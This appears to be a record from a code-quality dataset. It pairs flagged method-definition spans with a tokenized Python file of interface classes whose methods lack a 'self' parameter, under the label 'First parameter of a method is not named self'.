expandtabs( tabsize = 8 ):", "start_line": 271, "start_column": 1, "end_line": 271, "end_column": 31 }, { "span": "def upper():", "start_line": 277, "start_column": 1, "end_line": 277, "end_column": 13 }, { "span": "def lower():", "start_line": 281, "start_column": 1, "end_line": 281, "end_column": 13 }, { "span": "def swapcase():", "start_line": 285, "start_column": 1, "end_line": 285, "end_column": 16 }, { "span": "def title():", "start_line": 289, "start_column": 1, "end_line": 289, "end_column": 13 }, { "span": "def lstrip(whitespace = None):", "start_line": 295, "start_column": 1, "end_line": 295, "end_column": 31 }, { "span": "def rstrip(whitespace = None):", "start_line": 303, "start_column": 1, "end_line": 303, "end_column": 31 }, { "span": "def strip(whitespace = None):", "start_line": 311, "start_column": 1, "end_line": 311, "end_column": 30 }, { "span": "def decode(encoding = None, errors = \"strict\"):", "start_line": 320, "start_column": 1, "end_line": 320, "end_column": 48 }, { "span": "def encode(encoding = None, errors = \"strict\"):", "start_line": 330, "start_column": 1, "end_line": 330, "end_column": 48 }, { "span": "def startswith( prefix, start = 0, end = sys.maxint):", "start_line": 341, "start_column": 1, "end_line": 341, "end_column": 54 }, { "span": "def endswith( suffix, start = 0, end = sys.maxint):", "start_line": 345, "start_column": 1, "end_line": 345, "end_column": 52 }, { "span": "def count( sub, start= 0, end=sys.maxint):", "start_line": 349, "start_column": 1, "end_line": 349, "end_column": 43 }, { "span": "def find( sub, start = 0, end =sys.maxint):", "start_line": 353, "start_column": 1, "end_line": 353, "end_column": 44 }, { "span": "def index(sub, start=0, end= sys.maxint):", "start_line": 357, "start_column": 1, "end_line": 357, "end_column": 42 }, { "span": "def rfind( sub, start = 0, end =sys.maxint):", "start_line": 361, "start_column": 1, "end_line": 361, "end_column": 45 }, { "span": "def rindex(sub, start=0, end= sys.maxint):", "start_line": 365, "start_column": 1, "end_line": 365, "end_column": 43 }, { "span": "def isalnum():", "start_line": 370, "start_column": 1, "end_line": 370, "end_column": 15 }, { "span": "def isalpha():", "start_line": 374, "start_column": 1, "end_line": 374, "end_column": 15 }, { "span": "def isdigit():", "start_line": 378, "start_column": 1, "end_line": 378, "end_column": 15 }, { "span": "def isdigit():", "start_line": 382, "start_column": 1, "end_line": 382, "end_column": 15 }, { "span": "def islower():", "start_line": 386, "start_column": 1, "end_line": 386, "end_column": 15 }, { "span": "def isspace():", "start_line": 390, "start_column": 1, "end_line": 390, "end_column": 15 }, { "span": "def istitle():", "start_line": 394, "start_column": 1, "end_line": 394, "end_column": 15 }, { "span": "def isupper():", "start_line": 398, "start_column": 1, "end_line": 398, "end_column": 15 }, { "span": "def clear():", "start_line": 404, "start_column": 1, "end_line": 404, "end_column": 13 }, { "span": "def copy():", "start_line": 408, "start_column": 1, "end_line": 408, "end_column": 12 }, { "span": "def update(other):", "start_line": 412, "start_column": 1, "end_line": 412, "end_column": 19 }, { "span": "def get(key, default = None):", "start_line": 417, "start_column": 1, "end_line": 417, "end_column": 30 }, { "span": "def popitem():", "start_line": 421, "start_column": 1, "end_line": 421, "end_column": 15 }, { "span": "def setdefault(key, default = None):", "start_line": 425, "start_column": 1, "end_line": 425, "end_column": 37 }, { "span": "def has_key(key):", "start_line": 430, "start_column": 1, "end_line": 430, "end_column": 18 }, { "span": "def items():", "start_line": 435, "start_column": 1, "end_line": 435, "end_column": 13 }, { "span": "def iteritems():", "start_line": 439, "start_column": 1, "end_line": 439, "end_column": 17 }, { "span": "def keys():", "start_line": 443, "start_column": 1, "end_line": 443, "end_column": 12 }, { "span": "def iterkeys():", "start_line": 447, "start_column": 1, "end_line": 447, "end_column": 16 }, { "span": "def values():", "start_line": 451, "start_column": 1, "end_line": 451, "end_column": 14 }, { "span": "def itervalues():", "start_line": 455, "start_column": 1, "end_line": 455, "end_column": 18 }, { "span": "def close():", "start_line": 465, "start_column": 1, "end_line": 465, "end_column": 13 }, { "span": "def flush():", "start_line": 469, "start_column": 1, "end_line": 469, "end_column": 13 }, { "span": "def isatty():", "start_line": 474, "start_column": 1, "end_line": 474, "end_column": 14 }, { "span": "def read(size = None):", "start_line": 479, "start_column": 1, "end_line": 479, "end_column": 23 }, { "span": "def write(string):", "start_line": 483, "start_column": 1, "end_line": 483, "end_column": 19 }, { "span": "def readline(size = None):", "start_line": 488, "start_column": 1, "end_line": 488, "end_column": 27 }, { "span": "def readlines(size = None):", "start_line": 492, "start_column": 1, "end_line": 492, "end_column": 28 }, { "span": "def xreadlines(size = None):", "start_line": 500, "start_column": 1, "end_line": 500, "end_column": 29 }, { "span": "def writelines(iterable):", "start_line": 504, "start_column": 1, "end_line": 504, "end_column": 26 }, { "span": "def seek(offset, whence):", "start_line": 509, "start_column": 1, "end_line": 509, "end_column": 26 }, { "span": "def tell():", "start_line": 521, "start_column": 1, "end_line": 521, "end_column": 12 }, { "span": "def truncate(size = None):", "start_line": 529, "start_column": 1, "end_line": 529, "end_column": 27 }, { "span": "def getvalue ():", "start_line": 545, "start_column": 1, "end_line": 545, "end_column": 17 }, { "span": "def first():", "start_line": 576, "start_column": 1, "end_line": 576, "end_column": 13 }, { "span": "def next(key):", "start_line": 578, "start_column": 1, "end_line": 578, "end_column": 15 }, { "span": "def last():", "start_line": 580, "start_column": 1, "end_line": 580, "end_column": 12 }, { "span": "def previous(key):", "start_line": 582, "start_column": 1, "end_line": 582, "end_column": 19 }, { "span": "def sync():", "start_line": 584, "start_column": 1, "end_line": 584, "end_column": 12 }, { "span": "def set_location( key ):", "start_line": 590, "start_column": 1, "end_line": 590, "end_column": 25 }, { "span": "def tostring():", "start_line": 597, "start_column": 1, "end_line": 597, "end_column": 16 }, { "span": "def fromstring( string ):", "start_line": 599, "start_column": 1, "end_line": 599, "end_column": 26 }, { "span": "def tolist():", "start_line": 603, "start_column": 1, "end_line": 603, "end_column": 14 }, { "span": "def fromlist( string ):", "start_line": 605, "start_column": 1, "end_line": 605, "end_column": 24 }, { "span": "def tofile():", "start_line": 609, "start_column": 1, "end_line": 609, "end_column": 14 }, { "span": "def fromfile( string ):", "start_line": 611, "start_column": 1, "end_line": 611, "end_column": 24 }, { "span": "def byteswap( ):", "start_line": 624, "start_column": 1, "end_line": 624, "end_column": 17 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "IO", "bject", "Contains_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "contains\\u\\u_", "(_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Det", "erm", "ine", " ", "whe", "ther", " ", "object", " ", "contain", "s", " ", "other", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Eq_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Det", "erm", "ine", " ", "whe", "ther", " ", "object", " ", "==", " ", "other", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Ne", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "ne\\u\\u_", "(_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Det", "erm", "ine", " ", "whe", "ther", " ", "object", " ", "!=", " ", "other", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Get", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Get", " ", "sub", "-", "item", " ", "by", " ", "key", " ", "or", " ", "index", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Set", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "setitem\\u\\u_", "(_", "key_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Set", " ", "sub", "-", "item", " ", "by", " ", "key", " ", "or", " ", "index", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Del", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "delitem\\u\\u_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Delete", " ", "sub", "-", "item", " ", "by", " ", "key", " ", "or", " ", "index", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Length_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "the", " ", "length", " ", "as", " ", "an", " ", "integ", "er", " ", "or", " ", "long", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Non", "Zero_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "nonzero\\u", "\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Det", "erm", "ine", " ", "if", " ", "the", " ", "object", " ", "is", " ", "Tru", "e", " ", "(", "not", " ", "Fal", "se", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Hash_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "hash\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "the", " ", "hash", " ", "as", " ", "an", " ", "integ", "er", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IO", "bject", "Iter_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "an", " ", "iter", "ator", " ", "for", " ", "the", " ", "items", " ", "of", " ", "this", " ", "object", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "ickle", "Get", "State_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "getstate", "\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Retrieve", " ", "an", " ", "object", " ", "represent", "ing", " ", "the", " ", "current", " ", "state", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "ickle", "Set", "State_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "setstate", "\\u\\u_", "(_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Initializ", "e", " ", "the", " ", "object", " ", "from", " ", "the", " ", "give", "n", " ", "state", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IP", "ickle", "Get", "Ini", "t", "Args_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "getin", "ita", "rg", "s\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Retrieve", " ", "initialization", " ", "argu", "ment", "s", " ", "to", " ", "re", "-", "create", " ", "current", " ", "state", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IC", "opy", "Copy_", "(_", "IC", "opy", "able_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "copy", "\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "shallow", " ", "copy", " ", "of", " ", "the", " ", "object", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IC", "opy", "De", "ep", "Copy_", "(_", "ID", "eep", "Copy", "able_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "deepc", "opy", "\\u\\u_", "(_", "memory_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "deep", " ", "copy", " ", "of", " ", "the", " ", "object", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "memory", " ", "--", " ", "dictionar", "y", " ", "of", " ", "alr", "ead", "y", "-", "copie", "d", " ", "element", "s", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Get", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Get", " ", "sub", "-", "item", " ", "by", " ", "index", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Set", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "setitem\\u\\u_", "(_", "index_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Set", " ", "sub", "-", "item", " ", "by", " ", "index", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Del", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "delitem\\u\\u_", "(_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Delete", " ", "sub", "-", "item", " ", "by", " ", "index", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Get", "Slice_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "start_", ",_", "stop_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Get", " ", "sub", "-", "items", " ", "by", " ", "index", "-", "range", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Set", "Slice_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "start_", ",_", "stop_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Set", " ", "sub", "-", "items", " ", "by", " ", "index", "-", "range", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Del", "Slice_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "start_", ",_", "stop_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Delete", " ", "sub", "-", "items", " ", "by", " ", "index", "-", "range", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Append_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "append_", "(_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Append", " ", "the", " ", "partic", "ular", " ", "item", " ", "to", " ", "the", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Count_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "count_", "(_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "the", " ", "number", " ", "of", " ", "occurrences", " ", "of", " ", "the", " ", "item", " ", "in", " ", "the", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Extend", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "extend_", "(_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Extend", " ", "this", " ", "sequence", " ", "with", " ", "the", " ", "other", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Index_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "index_", "(_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "integ", "er", " ", "index", " ", "of", " ", "first", " ", "occurrence", " ", "of", " ", "item", " ", "in", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Insert_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "insert_", "(_", "index_", ",_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Insert", " ", "the", " ", "give", "n", " ", "item", " ", "at", " ", "the", " ", "give", "n", " ", "index", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "(", "sequence", "[", "index", "]", " ", "shou", "ld", " ", "be", " ", "item", " ", "after", "ward", ")", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Remove_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "remove_", "(_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Remove", " ", "the", " ", "first", " ", "instance", " ", "of", " ", "the", " ", "give", "n", " ", "item", " ", "from", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Revers", "e_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "reverse_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Revers", "e", " ", "the", " ", "sequence", "'", "s", " ", "order", " ", "in", "-", "place", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Sort_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "sort_", "(_", "function_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Sort", " ", "the", " ", "sequence", " ", "in", "-", "place", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "function", " ", "--", " ", "if", " ", "specified", ",", " ", "the", " ", "compa", "ris", "on", " ", "function", "\\", "10", ";", "\t\t\t", "to", " ", "use", " ", "for", " ", "sorting", ",", " ", "other", "wis", "e", " ", "cmp", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Pop", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "pop_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Remove", " ", "and", " ", "return", " ", "the", " ", "last", " ", "item", " ", "of", " ", "the", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "eque", "nce", "Pop", "Any_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "pop_", "(_", "index_", "=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Remove", " ", "and", " ", "return", " ", "the", " ", "give", "n", " ", "item", " ", "from", " ", "the", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "II", "tera", "tor_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "the", " ", "object", " ", "its", "elf", " ", "to", " ", "allow", " ", "for", " ", "x", " ", "in", " ", "Iterat", "or", " ", "operati", "on", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "II", "tera", "tor_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "next_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "the", " ", "next", " ", "item", " ", "in", " ", "the", " ", "sequence", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Join_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "join_", "(_", "sequence_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "texts", " ", "within", " ", "sequence", " ", "joine", "d", " ", "by", " ", "this", " ", "text", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Split_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "split_", "(_", "substring", "_", ",_", "maximum_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "text", " ", "interval", "s", " ", "bet", "ween", " ", "instance", "s", " ", "of", " ", "substring", " ", "in", " ", "text", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Replace", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "replace_", "(_", "old_", ",_", "new_", ",_", "maximum_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "text", " ", "with", " ", "instance", "s", " ", "of", " ", "old", " ", "substring", " ", "replaced", " ", "by", " ", "new", " ", "substring", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "maxim", "um", " ", "--", " ", "if", " ", "specified", ",", " ", "limit", "s", " ", "total", " ", "number", " ", "of", " ", "substitution", "s", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Split", "Lines_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "splitlines_", "(_", "keep", "ends_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "text", " ", "interval", "s", " ", "bet", "ween", " ", "newline", " ", "character", "s", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "keep", "ends", " ", "--", " ", "if", " ", "true", ",", " ", "retain", " ", "the", " ", "newline", " ", "character", "s", "\\", "10", ";", "\t\t\t", "as", " ", "part", " ", "of", " ", "the", " ", "interval", "s", " ", "(", "lines", ")", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Capita", "lize", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "capitalize_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "with", " ", "the", " ", "first", " ", "character", "s", " ", "capitaliz", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Center", "Align_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "center_", "(_", "width_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "centered", " ", "in", " ", "string", " ", "of", " ", "give", "n", " ", "widt", "h", 